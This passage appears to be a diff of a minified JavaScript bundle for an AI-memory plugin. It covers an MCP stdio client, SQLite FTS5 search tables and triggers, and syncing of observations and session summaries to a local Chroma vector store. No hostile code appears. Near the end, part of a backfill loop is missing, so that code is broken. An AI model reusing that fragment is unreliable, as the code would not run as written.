${e})`);break;case"roots/list":if(!this._capabilities.roots)throw new Error(`Client does not support roots capability (required for ${e})`);break;case"ping":break}}async ping(e){return this.request({method:"ping"},Pn,e)}async complete(e,r){return this.request({method:"completion/complete",params:e},df,r)}async setLoggingLevel(e,r){return this.request({method:"logging/setLevel",params:{level:e}},Pn,r)}async getPrompt(e,r){return this.request({method:"prompts/get",params:e},uf,r)}async listPrompts(e,r){return this.request({method:"prompts/list",params:e},nf,r)}async listResources(e,r){return this.request({method:"resources/list",params:e},tf,r)}async listResourceTemplates(e,r){return this.request({method:"resources/templates/list",params:e},rf,r)}async readResource(e,r){return this.request({method:"resources/read",params:e},af,r)}async subscribeResource(e,r){return this.request({method:"resources/subscribe",params:e},Pn,r)}async unsubscribeResource(e,r){return this.request({method:"resources/unsubscribe",params:e},Pn,r)}async callTool(e,r=cu,n){let a=await this.request({method:"tools/call",params:e},r,n),s=this.getToolOutputValidator(e.name);if(s){if(!a.structuredContent&&!a.isError)throw new Er(Sr.InvalidRequest,`Tool ${e.name} has an output schema but did not return structured content`);if(a.structuredContent)try{if(!s(a.structuredContent))throw new Er(Sr.InvalidParams,`Structured content does not match the tool's output schema: ${this._ajv.errorsText(s.errors)}`)}catch(i){throw i instanceof Er?i:new Er(Sr.InvalidParams,`Failed to validate structured content: ${i instanceof Error?i.message:String(i)}`)}}return a}cacheToolOutputSchemas(e){this._cachedToolOutputValidators.clear();for(let r of e)if(r.outputSchema)try{let n=this._ajv.compile(r.outputSchema);this._cachedToolOutputValidators.set(r.name,n)}catch{}}getToolOutputValidator(e){return this._cachedToolOutputValidators.get(e)}async listTools(e,r){let n=await this.request({method:"tools/list",params:e},lf,r);return this.cacheToolOutputSchemas(n.tools),n}async sendRootsListChanged(){return this.notification({method:"notifications/roots/list_changed"})}};var IE=kt(OE(),1),io=kt(require("node:process"),1),AE=require("node:stream");var Pu=class{append(e){this._buffer=this._buffer?Buffer.concat([this._buffer,e]):e}readMessage(){if(!this._buffer)return null;let e=this._buffer.indexOf(` +`);if(e===-1)return null;let r=this._buffer.toString("utf8",0,e).replace(/\r$/,"");return this._buffer=this._buffer.subarray(e+1),G9(r)}clear(){this._buffer=void 0}};function G9(t){return Ix.parse(JSON.parse(t))}function CE(t){return JSON.stringify(t)+` +`}var W9=io.default.platform==="win32"?["APPDATA","HOMEDRIVE","HOMEPATH","LOCALAPPDATA","PATH","PROCESSOR_ARCHITECTURE","SYSTEMDRIVE","SYSTEMROOT","TEMP","USERNAME","USERPROFILE","PROGRAMFILES"]:["HOME","LOGNAME","PATH","SHELL","TERM","USER"];function K9(){let t={};for(let e of W9){let r=io.default.env[e];r!==void 0&&(r.startsWith("()")||(t[e]=r))}return t}var Ms=class{constructor(e){this._abortController=new AbortController,this._readBuffer=new Pu,this._stderrStream=null,this._serverParams=e,(e.stderr==="pipe"||e.stderr==="overlapped")&&(this._stderrStream=new AE.PassThrough)}async start(){if(this._process)throw new Error("StdioClientTransport already started! If using Client class, note that connect() calls start() automatically.");return new Promise((e,r)=>{var n,a,s,i,o;this._process=(0,IE.default)(this._serverParams.command,(n=this._serverParams.args)!==null&&n!==void 0?n:[],{env:{...K9(),...this._serverParams.env},stdio:["pipe","pipe",(a=this._serverParams.stderr)!==null&&a!==void 0?a:"inherit"],shell:!1,signal:this._abortController.signal,windowsHide:io.default.platform==="win32"&&X9(),cwd:this._serverParams.cwd}),this._process.on("error",c=>{var u,l;if(c.name==="AbortError"){(u=this.onclose)===null||u===void 0||u.call(this);return}r(c),(l=this.onerror)===null||l===void 0||l.call(this,c)}),this._process.on("spawn",()=>{e()}),this._process.on("close",c=>{var u;this._process=void 0,(u=this.onclose)===null||u===void 0||u.call(this)}),(s=this._process.stdin)===null||s===void 0||s.on("error",c=>{var u;(u=this.onerror)===null||u===void 0||u.call(this,c)}),(i=this._process.stdout)===null||i===void 0||i.on("data",c=>{this._readBuffer.append(c),this.processReadBuffer()}),(o=this._process.stdout)===null||o===void 0||o.on("error",c=>{var u;(u=this.onerror)===null||u===void 0||u.call(this,c)}),this._stderrStream&&this._process.stderr&&this._process.stderr.pipe(this._stderrStream)})}get stderr(){var e,r;return this._stderrStream?this._stderrStream:(r=(e=this._process)===null||e===void 0?void 0:e.stderr)!==null&&r!==void 0?r:null}get pid(){var e,r;return(r=(e=this._process)===null||e===void 0?void 0:e.pid)!==null&&r!==void 0?r:null}processReadBuffer(){for(var e,r;;)try{let n=this._readBuffer.readMessage();if(n===null)break;(e=this.onmessage)===null||e===void 0||e.call(this,n)}catch(n){(r=this.onerror)===null||r===void 0||r.call(this,n)}}async close(){this._abortController.abort(),this._process=void 0,this._readBuffer.clear()}send(e){return new Promise(r=>{var n;if(!(!((n=this._process)===null||n===void 0)&&n.stdin))throw new Error("Not connected");let a=CE(e);this._process.stdin.write(a)?r():this._process.stdin.once("drain",r)})}};function X9(){return"type"in io.default}var Cu=kt(require("path"),1),JE=require("os");mt();var Gf={DEFAULT:5e3,HEALTH_CHECK:1e3,WORKER_STARTUP_WAIT:1e3,WORKER_STARTUP_RETRIES:15,PRE_RESTART_SETTLE_DELAY:2e3,WINDOWS_MULTIPLIER:1.5};function FE(t){return process.platform==="win32"?Math.round(t*Gf.WINDOWS_MULTIPLIER):t}var Ou=require("path");var XE=require("os");dr();Dr();var CK=(0,Ou.join)(qt,"worker.pid"),IK=(0,Ou.join)(qt,"logs"),AK=(0,Ou.join)((0,XE.homedir)(),".claude","plugins","marketplaces","thedotmack");Dr();var HK=Cu.default.join((0,JE.homedir)(),".claude","plugins","marketplaces","thedotmack"),BK=FE(Gf.HEALTH_CHECK),uo=null,lo=null;function qs(){if(uo!==null)return uo;let t=Cu.default.join(ct.get("CLAUDE_MEM_DATA_DIR"),"settings.json"),e=ct.loadFromFile(t);return uo=parseInt(e.CLAUDE_MEM_WORKER_PORT,10),uo}function YE(){if(lo!==null)return lo;let t=Cu.default.join(ct.get("CLAUDE_MEM_DATA_DIR"),"settings.json");return lo=ct.loadFromFile(t).CLAUDE_MEM_WORKER_HOST,lo}function QE(){uo=null,lo=null}mt();var Bl=require("child_process"),m$=require("util");Iu();var t1=require("bun:sqlite");dr();var Au=class{db;constructor(e){e||(ar(qt),e=co),this.db=new t1.Database(e),this.db.run("PRAGMA journal_mode = WAL"),this.ensureFTSTables()}ensureFTSTables(){this.db.prepare("SELECT name FROM sqlite_master WHERE type='table' AND name LIKE '%_fts'").all().some(n=>n.name==="observations_fts"||n.name==="session_summaries_fts")||(console.log("[SessionSearch] Creating FTS5 tables..."),this.db.run(` + CREATE VIRTUAL TABLE IF NOT EXISTS observations_fts USING fts5( + title, + subtitle, + narrative, + text, + facts, + concepts, + content='observations', + content_rowid='id' + ); + `),this.db.run(` + INSERT INTO observations_fts(rowid, title, subtitle, narrative, text, facts, concepts) + SELECT id, title, subtitle, narrative, text, facts, concepts + FROM observations; + `),this.db.run(` + CREATE TRIGGER IF NOT EXISTS observations_ai AFTER INSERT ON observations BEGIN INSERT INTO observations_fts(rowid, title, subtitle, narrative, text, facts, concepts) - SELECT id, title, subtitle, narrative, text, facts, concepts - FROM observations; - `),this.db.run(` - CREATE TRIGGER IF NOT EXISTS observations_ai AFTER INSERT ON observations BEGIN - INSERT INTO observations_fts(rowid, title, subtitle, narrative, text, facts, concepts) - VALUES (new.id, new.title, new.subtitle, new.narrative, new.text, new.facts, new.concepts); - END; + VALUES (new.id, new.title, new.subtitle, new.narrative, new.text, new.facts, new.concepts); + END; - CREATE TRIGGER IF NOT EXISTS observations_ad AFTER DELETE ON observations BEGIN - INSERT INTO observations_fts(observations_fts, rowid, title, subtitle, narrative, text, facts, concepts) - VALUES('delete', old.id, old.title, old.subtitle, old.narrative, old.text, old.facts, old.concepts); - END; + CREATE TRIGGER IF NOT EXISTS observations_ad AFTER DELETE ON observations BEGIN + INSERT INTO observations_fts(observations_fts, rowid, title, subtitle, narrative, text, facts, concepts) + VALUES('delete', old.id, old.title, old.subtitle, old.narrative, old.text, old.facts, old.concepts); + END; - CREATE TRIGGER IF NOT EXISTS observations_au AFTER UPDATE ON observations BEGIN - INSERT INTO observations_fts(observations_fts, rowid, title, subtitle, narrative, text, facts, concepts) - VALUES('delete', old.id, old.title, old.subtitle, old.narrative, old.text, old.facts, old.concepts); - INSERT INTO observations_fts(rowid, title, subtitle, narrative, text, facts, concepts) - VALUES (new.id, new.title, new.subtitle, new.narrative, new.text, new.facts, new.concepts); - END; - `),this.db.run(` - CREATE VIRTUAL TABLE IF NOT EXISTS session_summaries_fts USING fts5( - request, - investigated, - learned, - completed, - next_steps, - notes, - content='session_summaries', - content_rowid='id' - ); - `),this.db.run(` + CREATE TRIGGER IF NOT EXISTS observations_au AFTER UPDATE ON observations BEGIN + INSERT INTO observations_fts(observations_fts, rowid, title, subtitle, narrative, text, facts, concepts) + VALUES('delete', old.id, old.title, old.subtitle, old.narrative, old.text, old.facts, old.concepts); + INSERT INTO observations_fts(rowid, title, subtitle, narrative, text, facts, concepts) + VALUES (new.id, new.title, new.subtitle, new.narrative, new.text, new.facts, new.concepts); + END; + `),this.db.run(` + CREATE VIRTUAL TABLE IF NOT EXISTS session_summaries_fts USING fts5( + request, + investigated, + learned, + completed, + next_steps, + notes, + content='session_summaries', + content_rowid='id' + ); + `),this.db.run(` + INSERT INTO session_summaries_fts(rowid, request, investigated, learned, completed, next_steps, notes) + SELECT id, request, investigated, learned, completed, next_steps, notes + FROM session_summaries; + `),this.db.run(` + CREATE TRIGGER IF NOT EXISTS session_summaries_ai AFTER INSERT ON session_summaries BEGIN INSERT INTO session_summaries_fts(rowid, request, investigated, learned, completed, next_steps, notes) - SELECT id, request, investigated, learned, completed, next_steps, notes - FROM session_summaries; - `),this.db.run(` - CREATE TRIGGER IF NOT EXISTS session_summaries_ai AFTER INSERT ON session_summaries BEGIN - INSERT INTO session_summaries_fts(rowid, request, investigated, learned, completed, next_steps, notes) - VALUES (new.id, new.request, new.investigated, new.learned, new.completed, new.next_steps, new.notes); - END; + VALUES (new.id, new.request, new.investigated, new.learned, new.completed, new.next_steps, new.notes); + END; - CREATE TRIGGER IF NOT EXISTS session_summaries_ad AFTER DELETE ON session_summaries BEGIN - INSERT INTO session_summaries_fts(session_summaries_fts, rowid, request, investigated, learned, completed, next_steps, notes) - VALUES('delete', old.id, old.request, old.investigated, old.learned, old.completed, old.next_steps, old.notes); - END; + CREATE TRIGGER IF NOT EXISTS session_summaries_ad AFTER DELETE ON session_summaries BEGIN + INSERT INTO session_summaries_fts(session_summaries_fts, rowid, request, investigated, learned, completed, next_steps, notes) + VALUES('delete', old.id, old.request, old.investigated, old.learned, old.completed, old.next_steps, old.notes); + END; - CREATE TRIGGER IF NOT EXISTS session_summaries_au AFTER UPDATE ON session_summaries BEGIN - INSERT INTO session_summaries_fts(session_summaries_fts, rowid, request, investigated, learned, completed, next_steps, notes) - VALUES('delete', old.id, old.request, old.investigated, old.learned, old.completed, old.next_steps, old.notes); - INSERT INTO session_summaries_fts(rowid, request, investigated, learned, completed, next_steps, notes) - VALUES (new.id, new.request, new.investigated, new.learned, new.completed, new.next_steps, new.notes); - END; - `),console.log("[SessionSearch] FTS5 tables created successfully")}catch(e){console.error("[SessionSearch] FTS migration error:",e.message)}}buildFilterClause(e,r,n="o"){let a=[];if(e.project&&(a.push(`${n}.project = ?`),r.push(e.project)),e.type)if(Array.isArray(e.type)){let s=e.type.map(()=>"?").join(",");a.push(`${n}.type IN (${s})`),r.push(...e.type)}else a.push(`${n}.type = ?`),r.push(e.type);if(e.dateRange){let{start:s,end:i}=e.dateRange;if(s){let o=typeof s=="number"?s:new Date(s).getTime();a.push(`${n}.created_at_epoch >= ?`),r.push(o)}if(i){let o=typeof i=="number"?i:new Date(i).getTime();a.push(`${n}.created_at_epoch <= ?`),r.push(o)}}if(e.concepts){let s=Array.isArray(e.concepts)?e.concepts:[e.concepts],i=s.map(()=>`EXISTS (SELECT 1 FROM json_each(${n}.concepts) WHERE value = ?)`);i.length>0&&(a.push(`(${i.join(" OR ")})`),r.push(...s))}if(e.files){let s=Array.isArray(e.files)?e.files:[e.files],i=s.map(()=>`( + CREATE TRIGGER IF NOT EXISTS session_summaries_au AFTER UPDATE ON session_summaries BEGIN + INSERT INTO session_summaries_fts(session_summaries_fts, rowid, request, investigated, learned, completed, next_steps, notes) + VALUES('delete', old.id, old.request, old.investigated, old.learned, old.completed, old.next_steps, old.notes); + INSERT INTO session_summaries_fts(rowid, request, investigated, learned, completed, next_steps, notes) + VALUES (new.id, new.request, new.investigated, new.learned, new.completed, new.next_steps, new.notes); + END; + `),console.log("[SessionSearch] FTS5 tables created successfully"))}buildFilterClause(e,r,n="o"){let a=[];if(e.project&&(a.push(`${n}.project = ?`),r.push(e.project)),e.type)if(Array.isArray(e.type)){let s=e.type.map(()=>"?").join(",");a.push(`${n}.type IN (${s})`),r.push(...e.type)}else a.push(`${n}.type = ?`),r.push(e.type);if(e.dateRange){let{start:s,end:i}=e.dateRange;if(s){let o=typeof s=="number"?s:new Date(s).getTime();a.push(`${n}.created_at_epoch >= ?`),r.push(o)}if(i){let o=typeof i=="number"?i:new Date(i).getTime();a.push(`${n}.created_at_epoch <= ?`),r.push(o)}}if(e.concepts){let s=Array.isArray(e.concepts)?e.concepts:[e.concepts],i=s.map(()=>`EXISTS (SELECT 1 FROM json_each(${n}.concepts) WHERE value = ?)`);i.length>0&&(a.push(`(${i.join(" OR ")})`),r.push(...s))}if(e.files){let s=Array.isArray(e.files)?e.files:[e.files],i=s.map(()=>`( EXISTS (SELECT 1 FROM json_each(${n}.files_read) WHERE value LIKE ?) OR EXISTS (SELECT 1 FROM json_each(${n}.files_modified) WHERE value LIKE ?) )`);i.length>0&&(a.push(`(${i.join(" OR ")})`),s.forEach(o=>{r.push(`%${o}%`,`%${o}%`)}))}return a.length>0?a.join(" AND "):""}buildOrderClause(e="relevance",r=!0,n="observations_fts"){switch(e){case"relevance":return r?`ORDER BY ${n}.rank ASC`:"ORDER BY o.created_at_epoch DESC";case"date_desc":return"ORDER BY o.created_at_epoch DESC";case"date_asc":return"ORDER BY o.created_at_epoch ASC";default:return"ORDER BY o.created_at_epoch DESC"}}searchObservations(e,r={}){let n=[],{limit:a=50,offset:s=0,orderBy:i="relevance",...o}=r;if(!e){let c=this.buildFilterClause(o,n,"o");if(!c)throw new Error("Either query or filters required for search");let u=this.buildOrderClause(i,!1),l=` @@ -719,19 +719,19 @@ No previous sessions found for this project yet.`;let g=d.slice(0,r.sessionCount FROM user_prompts WHERE claude_session_id = ? ORDER BY prompt_number ASC - `).all(e)}close(){this.db.close()}};Cu();_t();Yr();Ar();var ZE=$t(require("path"),1),GE=$t(require("os"),1),Au=class{client=null;transport=null;connected=!1;project;collectionName;VECTOR_DB_DIR;BATCH_SIZE=100;constructor(e){this.project=e,this.collectionName=`cm__${e}`,this.VECTOR_DB_DIR=ZE.default.join(GE.default.homedir(),".claude-mem","vector-db")}async ensureConnection(){if(!(this.connected&&this.client)){F.info("CHROMA_SYNC","Connecting to Chroma MCP server...",{project:this.project});try{let r=ft.loadFromFile(js).CLAUDE_MEM_PYTHON_VERSION,n=process.platform==="win32",a={command:"uvx",args:["--python",r,"chroma-mcp","--client-type","persistent","--data-dir",this.VECTOR_DB_DIR],stderr:"ignore"};n&&(a.windowsHide=!0,F.debug("CHROMA_SYNC","Windows detected, attempting to hide console window",{project:this.project})),this.transport=new Cs(a),this.client=new $s({name:"claude-mem-chroma-sync",version:"1.0.0"},{capabilities:{}}),await this.client.connect(this.transport),this.connected=!0,F.info("CHROMA_SYNC","Connected to Chroma MCP server",{project:this.project})}catch(e){throw F.error("CHROMA_SYNC","Failed to connect to Chroma MCP server",{project:this.project},e),new Error(`Chroma connection failed: ${e instanceof Error?e.message:String(e)}`)}}}async ensureCollection(){if(await this.ensureConnection(),!this.client)throw new Error(`Chroma client not initialized. Call ensureConnection() before using client methods. Project: ${this.project}`);try{await this.client.callTool({name:"chroma_get_collection_info",arguments:{collection_name:this.collectionName}}),F.debug("CHROMA_SYNC","Collection exists",{collection:this.collectionName})}catch{F.info("CHROMA_SYNC","Creating collection",{collection:this.collectionName});try{await this.client.callTool({name:"chroma_create_collection",arguments:{collection_name:this.collectionName,embedding_function_name:"default"}}),F.info("CHROMA_SYNC","Collection created",{collection:this.collectionName})}catch(r){throw F.error("CHROMA_SYNC","Failed to create collection",{collection:this.collectionName},r),new Error(`Collection creation failed: ${r instanceof Error?r.message:String(r)}`)}}}formatObservationDocs(e){let r=[],n=e.facts?JSON.parse(e.facts):[],a=e.concepts?JSON.parse(e.concepts):[],s=e.files_read?JSON.parse(e.files_read):[],i=e.files_modified?JSON.parse(e.files_modified):[],o={sqlite_id:e.id,doc_type:"observation",sdk_session_id:e.sdk_session_id,project:e.project,created_at_epoch:e.created_at_epoch,type:e.type||"discovery",title:e.title||"Untitled"};return e.subtitle&&(o.subtitle=e.subtitle),a.length>0&&(o.concepts=a.join(",")),s.length>0&&(o.files_read=s.join(",")),i.length>0&&(o.files_modified=i.join(",")),e.narrative&&r.push({id:`obs_${e.id}_narrative`,document:e.narrative,metadata:{...o,field_type:"narrative"}}),e.text&&r.push({id:`obs_${e.id}_text`,document:e.text,metadata:{...o,field_type:"text"}}),n.forEach((c,u)=>{r.push({id:`obs_${e.id}_fact_${u}`,document:c,metadata:{...o,field_type:"fact",fact_index:u}})}),r}formatSummaryDocs(e){let r=[],n={sqlite_id:e.id,doc_type:"session_summary",sdk_session_id:e.sdk_session_id,project:e.project,created_at_epoch:e.created_at_epoch,prompt_number:e.prompt_number||0};return e.request&&r.push({id:`summary_${e.id}_request`,document:e.request,metadata:{...n,field_type:"request"}}),e.investigated&&r.push({id:`summary_${e.id}_investigated`,document:e.investigated,metadata:{...n,field_type:"investigated"}}),e.learned&&r.push({id:`summary_${e.id}_learned`,document:e.learned,metadata:{...n,field_type:"learned"}}),e.completed&&r.push({id:`summary_${e.id}_completed`,document:e.completed,metadata:{...n,field_type:"completed"}}),e.next_steps&&r.push({id:`summary_${e.id}_next_steps`,document:e.next_steps,metadata:{...n,field_type:"next_steps"}}),e.notes&&r.push({id:`summary_${e.id}_notes`,document:e.notes,metadata:{...n,field_type:"notes"}}),r}async addDocuments(e){if(e.length!==0){if(await this.ensureCollection(),!this.client)throw new Error(`Chroma client not initialized. Call ensureConnection() before using client methods. Project: ${this.project}`);try{await this.client.callTool({name:"chroma_add_documents",arguments:{collection_name:this.collectionName,documents:e.map(r=>r.document),ids:e.map(r=>r.id),metadatas:e.map(r=>r.metadata)}}),F.debug("CHROMA_SYNC","Documents added",{collection:this.collectionName,count:e.length})}catch(r){throw F.error("CHROMA_SYNC","Failed to add documents",{collection:this.collectionName,count:e.length},r),new Error(`Document add failed: ${r instanceof Error?r.message:String(r)}`)}}}async syncObservation(e,r,n,a,s,i,o=0){let c={id:e,sdk_session_id:r,project:n,text:null,type:a.type,title:a.title,subtitle:a.subtitle,facts:JSON.stringify(a.facts),narrative:a.narrative,concepts:JSON.stringify(a.concepts),files_read:JSON.stringify(a.files_read),files_modified:JSON.stringify(a.files_modified),prompt_number:s,discovery_tokens:o,created_at:new Date(i*1e3).toISOString(),created_at_epoch:i},u=this.formatObservationDocs(c);F.info("CHROMA_SYNC","Syncing observation",{observationId:e,documentCount:u.length,project:n}),await this.addDocuments(u)}async syncSummary(e,r,n,a,s,i,o=0){let c={id:e,sdk_session_id:r,project:n,request:a.request,investigated:a.investigated,learned:a.learned,completed:a.completed,next_steps:a.next_steps,notes:a.notes,prompt_number:s,discovery_tokens:o,created_at:new Date(i*1e3).toISOString(),created_at_epoch:i},u=this.formatSummaryDocs(c);F.info("CHROMA_SYNC","Syncing summary",{summaryId:e,documentCount:u.length,project:n}),await this.addDocuments(u)}formatUserPromptDoc(e){return{id:`prompt_${e.id}`,document:e.prompt_text,metadata:{sqlite_id:e.id,doc_type:"user_prompt",sdk_session_id:e.sdk_session_id,project:e.project,created_at_epoch:e.created_at_epoch,prompt_number:e.prompt_number}}}async syncUserPrompt(e,r,n,a,s,i){let o={id:e,claude_session_id:"",prompt_number:s,prompt_text:a,created_at:new Date(i*1e3).toISOString(),created_at_epoch:i,sdk_session_id:r,project:n},c=this.formatUserPromptDoc(o);F.info("CHROMA_SYNC","Syncing user prompt",{promptId:e,project:n}),await this.addDocuments([c])}async getExistingChromaIds(){if(await this.ensureConnection(),!this.client)throw new Error(`Chroma client not initialized. Call ensureConnection() before using client methods. Project: ${this.project}`);let e=new Set,r=new Set,n=new Set,a=0,s=1e3;for(F.info("CHROMA_SYNC","Fetching existing Chroma document IDs...",{project:this.project});;)try{let o=(await this.client.callTool({name:"chroma_get_documents",arguments:{collection_name:this.collectionName,limit:s,offset:a,where:{project:this.project},include:["metadatas"]}})).content[0];if(o.type!=="text")throw new Error("Unexpected response type from chroma_get_documents");let u=JSON.parse(o.text).metadatas||[];if(u.length===0)break;for(let l of u)l.sqlite_id&&(l.doc_type==="observation"?e.add(l.sqlite_id):l.doc_type==="session_summary"?r.add(l.sqlite_id):l.doc_type==="user_prompt"&&n.add(l.sqlite_id));a+=s,F.debug("CHROMA_SYNC","Fetched batch of existing IDs",{project:this.project,offset:a,batchSize:u.length})}catch(i){throw F.error("CHROMA_SYNC","Failed to fetch existing IDs",{project:this.project},i),i}return F.info("CHROMA_SYNC","Existing IDs fetched",{project:this.project,observations:e.size,summaries:r.size,prompts:n.size}),{observations:e,summaries:r,prompts:n}}async ensureBackfilled(){F.info("CHROMA_SYNC","Starting smart backfill",{project:this.project}),await this.ensureCollection();let e=await this.getExistingChromaIds(),r=new Ma;try{let n=Array.from(e.observations),a=n.length>0?`AND id NOT IN (${n.join(",")})`:"",s=r.db.prepare(` + `).all(e)}close(){this.db.close()}};Iu();mt();Dr();dr();var r1=kt(require("path"),1),a1=kt(require("os"),1),Nu=class{client=null;transport=null;connected=!1;project;collectionName;VECTOR_DB_DIR;BATCH_SIZE=100;constructor(e){this.project=e,this.collectionName=`cm__${e}`,this.VECTOR_DB_DIR=r1.default.join(a1.default.homedir(),".claude-mem","vector-db")}async ensureConnection(){if(!(this.connected&&this.client)){U.info("CHROMA_SYNC","Connecting to Chroma MCP server...",{project:this.project});try{let r=ct.loadFromFile(In).CLAUDE_MEM_PYTHON_VERSION,n=process.platform==="win32",a={command:"uvx",args:["--python",r,"chroma-mcp","--client-type","persistent","--data-dir",this.VECTOR_DB_DIR],stderr:"ignore"};n&&(a.windowsHide=!0,U.debug("CHROMA_SYNC","Windows detected, attempting to hide console window",{project:this.project})),this.transport=new Ms(a),this.client=new As({name:"claude-mem-chroma-sync",version:"1.0.0"},{capabilities:{}}),await this.client.connect(this.transport),this.connected=!0,U.info("CHROMA_SYNC","Connected to Chroma MCP server",{project:this.project})}catch(e){throw U.error("CHROMA_SYNC","Failed to connect to Chroma MCP server",{project:this.project},e),new Error(`Chroma connection failed: ${e instanceof Error?e.message:String(e)}`)}}}async ensureCollection(){if(await this.ensureConnection(),!this.client)throw new Error(`Chroma client not initialized. Call ensureConnection() before using client methods. Project: ${this.project}`);try{await this.client.callTool({name:"chroma_get_collection_info",arguments:{collection_name:this.collectionName}}),U.debug("CHROMA_SYNC","Collection exists",{collection:this.collectionName})}catch{U.info("CHROMA_SYNC","Creating collection",{collection:this.collectionName});try{await this.client.callTool({name:"chroma_create_collection",arguments:{collection_name:this.collectionName,embedding_function_name:"default"}}),U.info("CHROMA_SYNC","Collection created",{collection:this.collectionName})}catch(r){throw U.error("CHROMA_SYNC","Failed to create collection",{collection:this.collectionName},r),new Error(`Collection creation failed: ${r instanceof Error?r.message:String(r)}`)}}}formatObservationDocs(e){let r=[],n=e.facts?JSON.parse(e.facts):[],a=e.concepts?JSON.parse(e.concepts):[],s=e.files_read?JSON.parse(e.files_read):[],i=e.files_modified?JSON.parse(e.files_modified):[],o={sqlite_id:e.id,doc_type:"observation",sdk_session_id:e.sdk_session_id,project:e.project,created_at_epoch:e.created_at_epoch,type:e.type||"discovery",title:e.title||"Untitled"};return e.subtitle&&(o.subtitle=e.subtitle),a.length>0&&(o.concepts=a.join(",")),s.length>0&&(o.files_read=s.join(",")),i.length>0&&(o.files_modified=i.join(",")),e.narrative&&r.push({id:`obs_${e.id}_narrative`,document:e.narrative,metadata:{...o,field_type:"narrative"}}),e.text&&r.push({id:`obs_${e.id}_text`,document:e.text,metadata:{...o,field_type:"text"}}),n.forEach((c,u)=>{r.push({id:`obs_${e.id}_fact_${u}`,document:c,metadata:{...o,field_type:"fact",fact_index:u}})}),r}formatSummaryDocs(e){let r=[],n={sqlite_id:e.id,doc_type:"session_summary",sdk_session_id:e.sdk_session_id,project:e.project,created_at_epoch:e.created_at_epoch,prompt_number:e.prompt_number||0};return e.request&&r.push({id:`summary_${e.id}_request`,document:e.request,metadata:{...n,field_type:"request"}}),e.investigated&&r.push({id:`summary_${e.id}_investigated`,document:e.investigated,metadata:{...n,field_type:"investigated"}}),e.learned&&r.push({id:`summary_${e.id}_learned`,document:e.learned,metadata:{...n,field_type:"learned"}}),e.completed&&r.push({id:`summary_${e.id}_completed`,document:e.completed,metadata:{...n,field_type:"completed"}}),e.next_steps&&r.push({id:`summary_${e.id}_next_steps`,document:e.next_steps,metadata:{...n,field_type:"next_steps"}}),e.notes&&r.push({id:`summary_${e.id}_notes`,document:e.notes,metadata:{...n,field_type:"notes"}}),r}async addDocuments(e){if(e.length!==0){if(await this.ensureCollection(),!this.client)throw new Error(`Chroma client not initialized. Call ensureConnection() before using client methods. Project: ${this.project}`);try{await this.client.callTool({name:"chroma_add_documents",arguments:{collection_name:this.collectionName,documents:e.map(r=>r.document),ids:e.map(r=>r.id),metadatas:e.map(r=>r.metadata)}}),U.debug("CHROMA_SYNC","Documents added",{collection:this.collectionName,count:e.length})}catch(r){throw U.error("CHROMA_SYNC","Failed to add documents",{collection:this.collectionName,count:e.length},r),new Error(`Document add failed: ${r instanceof Error?r.message:String(r)}`)}}}async syncObservation(e,r,n,a,s,i,o=0){let c={id:e,sdk_session_id:r,project:n,text:null,type:a.type,title:a.title,subtitle:a.subtitle,facts:JSON.stringify(a.facts),narrative:a.narrative,concepts:JSON.stringify(a.concepts),files_read:JSON.stringify(a.files_read),files_modified:JSON.stringify(a.files_modified),prompt_number:s,discovery_tokens:o,created_at:new Date(i*1e3).toISOString(),created_at_epoch:i},u=this.formatObservationDocs(c);U.info("CHROMA_SYNC","Syncing observation",{observationId:e,documentCount:u.length,project:n}),await this.addDocuments(u)}async syncSummary(e,r,n,a,s,i,o=0){let c={id:e,sdk_session_id:r,project:n,request:a.request,investigated:a.investigated,learned:a.learned,completed:a.completed,next_steps:a.next_steps,notes:a.notes,prompt_number:s,discovery_tokens:o,created_at:new Date(i*1e3).toISOString(),created_at_epoch:i},u=this.formatSummaryDocs(c);U.info("CHROMA_SYNC","Syncing summary",{summaryId:e,documentCount:u.length,project:n}),await this.addDocuments(u)}formatUserPromptDoc(e){return{id:`prompt_${e.id}`,document:e.prompt_text,metadata:{sqlite_id:e.id,doc_type:"user_prompt",sdk_session_id:e.sdk_session_id,project:e.project,created_at_epoch:e.created_at_epoch,prompt_number:e.prompt_number}}}async syncUserPrompt(e,r,n,a,s,i){let o={id:e,claude_session_id:"",prompt_number:s,prompt_text:a,created_at:new Date(i*1e3).toISOString(),created_at_epoch:i,sdk_session_id:r,project:n},c=this.formatUserPromptDoc(o);U.info("CHROMA_SYNC","Syncing user prompt",{promptId:e,project:n}),await this.addDocuments([c])}async getExistingChromaIds(){if(await this.ensureConnection(),!this.client)throw new Error(`Chroma client not initialized. Call ensureConnection() before using client methods. Project: ${this.project}`);let e=new Set,r=new Set,n=new Set,a=0,s=1e3;for(U.info("CHROMA_SYNC","Fetching existing Chroma document IDs...",{project:this.project});;)try{let o=(await this.client.callTool({name:"chroma_get_documents",arguments:{collection_name:this.collectionName,limit:s,offset:a,where:{project:this.project},include:["metadatas"]}})).content[0];if(o.type!=="text")throw new Error("Unexpected response type from chroma_get_documents");let u=JSON.parse(o.text).metadatas||[];if(u.length===0)break;for(let l of u)l.sqlite_id&&(l.doc_type==="observation"?e.add(l.sqlite_id):l.doc_type==="session_summary"?r.add(l.sqlite_id):l.doc_type==="user_prompt"&&n.add(l.sqlite_id));a+=s,U.debug("CHROMA_SYNC","Fetched batch of existing IDs",{project:this.project,offset:a,batchSize:u.length})}catch(i){throw U.error("CHROMA_SYNC","Failed to fetch existing IDs",{project:this.project},i),i}return U.info("CHROMA_SYNC","Existing IDs fetched",{project:this.project,observations:e.size,summaries:r.size,prompts:n.size}),{observations:e,summaries:r,prompts:n}}async ensureBackfilled(){U.info("CHROMA_SYNC","Starting smart backfill",{project:this.project}),await this.ensureCollection();let e=await this.getExistingChromaIds(),r=new qa;try{let n=Array.from(e.observations),a=n.length>0?`AND id NOT IN (${n.join(",")})`:"",s=r.db.prepare(` SELECT * FROM observations WHERE project = ? ${a} ORDER BY id ASC `).all(this.project),i=r.db.prepare(` SELECT COUNT(*) as count FROM observations WHERE project = ? - `).get(this.project);F.info("CHROMA_SYNC","Backfilling observations",{project:this.project,missing:s.length,existing:e.observations.size,total:i.count});let o=[];for(let y of s)o.push(...this.formatObservationDocs(y));for(let y=0;y0?`AND id NOT IN (${c.join(",")})`:"",l=r.db.prepare(` + `).get(this.project);U.info("CHROMA_SYNC","Backfilling observations",{project:this.project,missing:s.length,existing:e.observations.size,total:i.count});let o=[];for(let y of s)o.push(...this.formatObservationDocs(y));for(let y=0;y0?`AND id NOT IN (${c.join(",")})`:"",l=r.db.prepare(` SELECT * FROM session_summaries WHERE project = ? ${u} ORDER BY id ASC `).all(this.project),d=r.db.prepare(` SELECT COUNT(*) as count FROM session_summaries WHERE project = ? - 